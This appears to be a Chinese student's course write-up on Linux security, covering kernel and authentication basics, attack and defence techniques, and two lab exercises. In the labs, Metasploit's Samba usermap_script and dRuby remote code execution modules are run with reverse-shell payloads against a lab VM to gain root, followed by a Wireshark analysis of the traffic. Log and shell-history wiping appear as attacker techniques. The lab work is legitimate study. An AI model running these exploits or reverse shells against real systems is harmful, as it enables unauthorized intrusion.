• 20199327 2019-2020-2 《网络攻防实践》第八周作业


    理论学习

    1. 基本框架概述

    linux是一种典型的宏内核结构。在硬件抽象层中的各类设备驱动程序可以完全访问硬件设备,方便地以模块化形式设置,并在系统运行期间可直接通过LKM(Loadable Kernel Module)机制装载或卸载。在硬件抽象层上是内核服务功能模块,包括进程管理,内存管理,文件系统,设备控制与网络这五个子系统。而这些内核模块通过系统调用接口向用户态的GNU运行库及工具、命令行Shell、X窗口以及应用软件提供服务。Linux操作系统内核结构图如下图。

    Linux的优势:

    • 跨平台的硬件支持;

    • 丰富的软件支持;

    • 多用户多任务;

    • 可靠的安全性;

    • 良好的稳定性;

    • 完善的网络功能;

    Linux系统结构:

    • Linux系统进程和线程管理机制:传统上UNIX操作系统下运行的应用程序、服务器及其他程序都称为进程。每个进程都在CPU的虚拟内存中分配地址空间。各个进程的地址空间是完全独立的。Linux是多任务系统,支持并发执行的若干进程。

      进程切换:进程之间的切换。内核借助CPU的帮助,负责进程切换的技术细节。通过在撤销进程的CPU资源之前保存进程所有与状态相关的要素,并将进程置于空闲状态。重新激活进程时,将保存的状态原样恢复;

    • Linux系统的设备处理机制:Linux内核中处理或者管理硬件控制器的软件,抽象了设备的处理,支持三类硬件设备:字符设备、块设备和网络设备;

    • Linux系统内存管理机制:

      内存管理:是Linux内核中最重要的子系统,它主要提供对内存资源的访问控制。从系统中每个进程的角度看,地址空间中只有自身一个进程,无法感知到其他进程的存在。Linux将虚拟地址空间划分为两个部分,分别为内核空间和用户空间;

      虚拟内存:Linux系统会在硬件物理内存和进程所使用的内存(称作虚拟内存)之间建立一种映射关系,这种映射是以进程为单位,因而不同的进程可以使用相同的虚拟内存,而这些相同的虚拟内存,可以映射到不同的物理内存上。;

    • Linux系统的调用机制: 程序透过访问接口来访问硬件设备和其他系统资源,Linux系统的系统调用通过软中断来实现;

    2. 安全机制

    Linux操作系统的核心安全机制:身份认证、授权与访问控制、安全审计;

    • Linux身份认证机制

    安全主体:Root根用户,普通用户、系统用户。

    Linux用户信息保存在系统的/etc/passwd文件中,加密口令字则存放在/etc/shadow文件中,只对Root可读。

    身份认证方式:本地身份认证(本地系统登录)和网络身份认证(远程网络访问)

    过程:目前的Linux系统普遍采用SSH服务进行远程用户登录与网络访问,SSH提供两种方式的用户身份认证机制:

    1. 基于口令的身份认证,即用户名密码;

    2. 基于非对称密钥的身份认证;

    PAM:Linux的统一身份认证中间件,可插入身份认证模块(Pluggable Authentication Modules);

    PAM支持四种管理界面:

    • 认证管理

    • 账户管理

    • 密码管理

    • 会话管理

    • Linux安全审计机制

    通过以下三个主要的日志子系统来实现:

    连接时间日志:管理员能跟踪谁在何时登陆了系统;

    进程统计日志:为系统中的基本服务提供命令使用统计;

    常用的日志文件如下:

    3.远程安全攻防技术

    1. 远程口令猜测与破解攻击: 远程渗透攻Linux系统最简单的方法仍然是猜测 或破解出系统的登录口令

    流行工具:

    Brutus:支持HTTP、POP3、FTP、SMB、telnet、IMAP等多种协议;

    TCP Hydra:支持超30多种协议,包括HTTP/HTTPS、SSH、FTP、SMB、telnet,可执行字典攻击和口令穷举暴力破解;

    Cain and Abel:Windows和Linux双用;

    可通过严格的口令字管理制度和措施解决,具体如下:

    • 确保每个用户都有自己的有效账户和口令字,而不是使用一个账户。

    • 特权账户应避免远程直接登录,只能在本地登录。

    • 口令长度至少达到8位,包含字母、数字和标点符号。

    • 对多次认证失败进行纪录,并在多次无效登录之后断掉连接。

    • 不要再自己登录的所有系统上都使用相同的口令字。

    • 并要笔录自己的口令字。

    • 使用基于公开密钥证书的身份认证机制。

    • 修改网络服务的默认端口。

    1. 网络服务远程渗透攻击:
    • Linux内核中的网络协议栈攻击;

    • LAMP WEB网站中的网络服务攻击;

    • FTP、Samba等文件共享服务;

    • 电子邮件收发服务;

    • 其他网络服务的攻击;

    防范措施:

    • 禁用不必要的网络服务;

    • 尽量选择更安全的网络协议和服务软件;

    • 及时更新网络服务版本;

    • 使用防火墙为Linux网络服务添加网络访问控制;

    • 建立入侵检测与应急响应计划流程;

    1. 攻击Linux客户端程序和用户:
    • 攻击Linux平台上的客户端程序;

    • 攻击Linux系统用户;

    防范措施:及时更新软件;在下载软件的时候通过官方下载渠道,并校验MD5

    1. 攻击linux路由器和监听器:

    针对使用Linux作为路由器系统的路由器的攻击;

    针对Linux下运行的监听器的攻击,如wireshark、dumpcap等等

    防范措施:增强安全意识,关注厂商的安全威胁报告;及时进行固件的升级;掌握攻击者的入侵渗透手段,并进行渗透测试。

    4.Linux本地安全攻防技术

    • linux 本地特权提升

    本地特权提升的三种常用方式:破解Root用户的口令、发掘su和sudo程序中的安全漏洞以及攻击用户态SUID特权提升漏洞和攻击Linux内核代码特权提升漏洞。

    Linux口令字破解:通过/etc/shadow文件中纪录的口令的hash值,获取口令的加密值,后通过已知密文暴力猜测明文。

    sudo缺陷进行特权提升:通过sudo程序的漏洞,绕过程序的身份认证机制,获取权限

    利用用户态SUID程序:主要包括利用程序漏洞进行特权提升、本地缓冲区溢出攻击、符号连接攻击、竞争条件攻击、共享函

    措施:在安装软件的过程中评估风险;及时对服务器进行升级维护;安全的配置系统,设置强口令字,使用SELinux等安全增强模块

    • Linux消灭踪迹

    通过对message、auth、secure和xferlog等日志文件进行修改做到日志的清理
    通过对.bahs_history文件的清理,清理shell的命令痕迹

    措施:实现配置好系统审计和网络服务审计功能,并将日志传输到安全服务器中。

    将日志信息写道难以修改的媒体介质上;

    将日志信息使用syslog网络机制写道防护严密的安全日志服务器上去。

    • 远程控制与后门

    通过替换对系统原有的远程登录程序进行替换实现后门;

    通过图形化远程控制软件例如VNC实现攻击;

    措施:采用一些后门检测软件来尝试发现攻击者隐藏的后门程序。

    理论实践

    实践一

    KALI 192.168.200.14
    meta 192.168.200.5

    实验已经确保虚拟机互相ping通,网络模式都调为NAT

    kali中输入msfconsole启动kali里面的msfconsole

    输入search usermap查看漏洞的详细信息

    输入use exploit/multi/samba/usermap_script选择针对漏洞的渗透攻击模块,输入show options,如下图所示。

    输入info,查看信息:

    输入show payloads列举出所有适用的负载模块,如图所示,

    然后执行set PAYLOAD cmd/unix/reverse选择你要用的攻击负载模块。选择18号(反转),执行set LHOST 192.168.200.14设置攻击机为kali,set RHOST 192.168.200.5设置靶机为meta,。

    使用show options 查看需要设置的参数,如图,可见需要配置靶机和攻击机IP:

    输入exploit开始攻击。

    输入whoami查看靶机权限,显示root,验证了本次渗透攻击已经成功。

    实践二

    1.首先使用nmap扫描靶机,查看开放的端口,及端口上程序的版本,nmap -sV 192.168.200.5

    2.参考了朱星帆同学的博客,选择dRuby漏洞作为攻击漏洞。

    与实践一雷同,运用漏洞获取权限

    3.在msfconsole中使用use exploit/linux/misc/drb_remote_codeexec使用渗透攻击模块,查看信息

    4.使用show options 查看需要设置的参数,如图,可见需要配置靶机和攻击机IP:

    5.输入show payloads列举出所有适用的负载模块;

    6.执行set payload cmd/unix/reverse,执行set LHOST 192.168.200.14设置攻击机为kali,set RHOST 192.168.200.5设置靶机为meta,再show options查看是否配置成功,如图:

    7.输入run开始攻击,输入whoami查看靶机权限,显示root,验证了本次渗透攻击已经成功。

    上次突然成功,没有捕包,后面捕包执行的是ifconfig,如图:

    防守方

    1.攻击方ip:通过对数据包流量及数据包内容的分析,可以看出攻击方是192.168.200.14

    2.目标ip端口:通过对嗅探报文的分析可以看出攻击方连接的端口均局限在8787端口上

    3.攻击利用漏洞:8787是攻击的目标端口,通过查看nmap结果可以查到,这个端口是druby服务的端口,进而得知这是针对drb漏洞的攻击。

    4.使用的shellcode:在wireshark抓包过程中,查看tcp流,可以看到如下:


    上图倒是没咋看懂。。。

    在实践1的基础上,wireshark实时监听经过网卡的数据包。从下图可以看出攻击者ip地址,端口,靶机ip地址,端口,时间等信息。

    问题

    攻击时出现Exploit completed, but no session was created.问题,时而可以,比较玄学

    “无会话已创建”消息发生:

    1)您使用的漏洞利用对您所选择的目标不起作用。可以
    是一个不同版本的漏洞,有一个问题
    利用代码,或目标配置有问题。

    2)您使用的漏洞利用被配置为使用不创建的有效载荷
    互动会话。在这种情况下,框架无法知道
    被剥削者是否工作,因为它没有收到连接
    从目标成功时(例如运行记事本)。

    如果您尝试反向有效载荷,获取该消息和目标服务
    不会崩溃,确保您的目标设置是正确的,而且
    目标系统正在运行正确版本的易受攻击的软件。

    总结

    这次的实践和上次差不多,操作基本可以,但对原理的分析还是比较难顶

  • 相关阅读:
    BestCoder Round #65
    Codeforces Round #334 (Div. 2)
    二叉搜索树(排序二叉树)
    二叉搜索树 POJ 2418 Hardwood Species
    差分约束系统 POJ 3169 Layout
    思维题(转换) HDU 4370 0 or 1
    SPFA+Dinic HDOJ 3416 Marriage Match IV
    图论 SRM 674 Div1 VampireTree 250
    SPFA(建图) HDOJ 4725 The Shortest Path in Nya Graph
    SPFA(负环) LightOJ 1074 Extended Traffic
  • 原文地址:https://www.cnblogs.com/waxxx/p/12759068.html
Copyright © 2020-2023  润新知